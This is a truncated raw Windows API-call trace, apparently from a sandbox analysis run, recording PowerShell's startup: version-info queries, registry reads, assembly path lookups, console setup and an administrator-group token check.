[0059.359] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0059.359] CoTaskMemAlloc (cb=0x66) returned 0x11cab0 [0059.359] lstrcpyW (in: lpString1=0x11cab0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0059.359] CoTaskMemFree (pv=0x11cab0) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x0, puLen=0x27da70) returned 0 [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x0, puLen=0x27da70) returned 0 [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x0, puLen=0x27da70) returned 0 [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27da48, puLen=0x27da40 | out: lplpBuffer=0x27da48*=0x2c3f014, puLen=0x27da40) returned 1 [0059.359] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0059.359] VerLanguageNameW (in: wLang=0x0, szLang=0x13d560, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0059.359] CoTaskMemFree (pv=0x13d560) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\", lplpBuffer=0x27da98, puLen=0x27da90 | out: lplpBuffer=0x27da98*=0x2c3efa0, puLen=0x27da90) returned 1 [0059.364] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0059.364] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.364] CoTaskMemFree (pv=0x18ae00) [0059.368] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0059.369] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.369] CoTaskMemFree (pv=0x18ae00) [0059.371] lstrlenW (lpString="䅁") returned 1 [0059.375] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d968 | out: phkResult=0x27d968*=0x304) returned 0x0 [0059.376] RegOpenKeyExW (in: hKey=0x304, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d958 | out: phkResult=0x27d958*=0x308) returned 0x0 [0059.376] RegOpenKeyExW (in: hKey=0x308, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d9e8 | out: phkResult=0x27d9e8*=0x30c) returned 0x0 [0059.378] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d92c, lpData=0x0, lpcbData=0x27d928*=0x0 | out: lpType=0x27d92c*=0x1, lpData=0x0, lpcbData=0x27d928*=0x56) returned 0x0 [0059.379] CoTaskMemAlloc (cb=0x5a) returned 0x11cc00 [0059.379] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d8fc, lpData=0x11cc00, lpcbData=0x27d8f8*=0x56 | out: lpType=0x27d8fc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27d8f8*=0x56) returned 0x0 [0059.379] CoTaskMemFree (pv=0x11cc00) [0059.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.400] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0059.400] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.400] CoTaskMemFree (pv=0x18ae00) [0059.534] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0059.534] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0059.582] CoTaskMemAlloc (cb=0x104) returned 0x18af10 [0059.582] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18af10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.582] CoTaskMemFree (pv=0x18af10) [0059.583] CoTaskMemAlloc (cb=0x104) returned 0x18af10 [0059.583] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18af10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.583] CoTaskMemFree (pv=0x18af10) [0059.600] CoTaskMemAlloc (cb=0x104) returned 0x18af10 [0059.600] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18af10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.600] CoTaskMemFree (pv=0x18af10) [0059.602] CoTaskMemAlloc (cb=0x104) returned 0x18af10 [0059.602] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18af10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.602] CoTaskMemFree (pv=0x18af10) [0059.602] CoTaskMemAlloc (cb=0x104) returned 0x18af10 [0059.602] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18af10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.602] CoTaskMemFree (pv=0x18af10) [0059.670] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0059.670] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0059.705] CoTaskMemFree (pv=0x18af10) [0059.709] CoTaskMemAlloc (cb=0x104) returned 0x18af10 [0059.709] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18af10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.709] CoTaskMemFree (pv=0x18af10) [0059.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0060.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0060.340] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.340] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0060.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0060.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0060.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27d520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0060.661] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0060.661] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.661] CoTaskMemFree (pv=0x18b130) [0060.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.670] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x27d640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0060.730] SetErrorMode (uMode=0x1) returned 0x1 [0060.730] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x27d8c0 | out: lpFileInformation=0x27d8c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0060.730] SetErrorMode (uMode=0x1) returned 0x1 [0060.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.954] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.955] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0060.955] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.955] CoTaskMemFree (pv=0x18b130) [0060.958] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0060.958] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.958] CoTaskMemFree (pv=0x18b130) [0060.958] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0060.958] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.958] CoTaskMemFree (pv=0x18b130) [0060.960] CoCreateGuid (in: pguid=0x27dc88 | out: pguid=0x27dc88*(Data1=0xbee496e2, Data2=0x8470, Data3=0x4efd, Data4=([0]=0x8a, [1]=0x6, [2]=0x12, [3]=0x8, [4]=0x9, [5]=0xb0, [6]=0x74, [7]=0xd0))) returned 0x0 [0060.964] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0060.964] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.964] CoTaskMemFree (pv=0x18b130) [0060.966] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0060.966] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.966] CoTaskMemFree (pv=0x18b130) [0060.967] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0060.967] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.967] CoTaskMemFree (pv=0x18b130) [0060.972] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0060.973] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x27d930 | out: lpConsoleScreenBufferInfo=0x27d930) returned 1 [0060.976] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0060.976] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x27d930 | out: lpConsoleScreenBufferInfo=0x27d930) returned 1 [0060.978] GetCurrentProcess () returned 0xffffffffffffffff [0060.979] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x27d958 | out: TokenHandle=0x27d958*=0x320) returned 1 [0060.981] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27d878 | out: TokenInformation=0x0, ReturnLength=0x27d878) returned 0 [0060.981] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xf7980 [0060.981] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0xf7980, TokenInformationLength=0x4, ReturnLength=0x27d878 | out: TokenInformation=0xf7980, ReturnLength=0x27d878) returned 1 [0060.982] DuplicateTokenEx (in: hExistingToken=0x320, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x27d9d8 | out: phNewToken=0x27d9d8*=0x31c) returned 1 [0060.982] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27d878 | out: TokenInformation=0x0, ReturnLength=0x27d878) returned 0 [0060.982] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xf7b10 [0060.983] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0xf7b10, TokenInformationLength=0x4, ReturnLength=0x27d878 | out: TokenInformation=0xf7b10, ReturnLength=0x27d878) returned 1 [0060.983] CheckTokenMembership (in: TokenHandle=0x31c, SidToCheck=0x2d19d20*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x27d9e8 | out: IsMember=0x27d9e8) returned 1 [0060.983] CloseHandle (hObject=0x31c) returned 1 [0060.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0060.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.030] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.030] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.030] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.030] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.030] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.030] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d500, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, 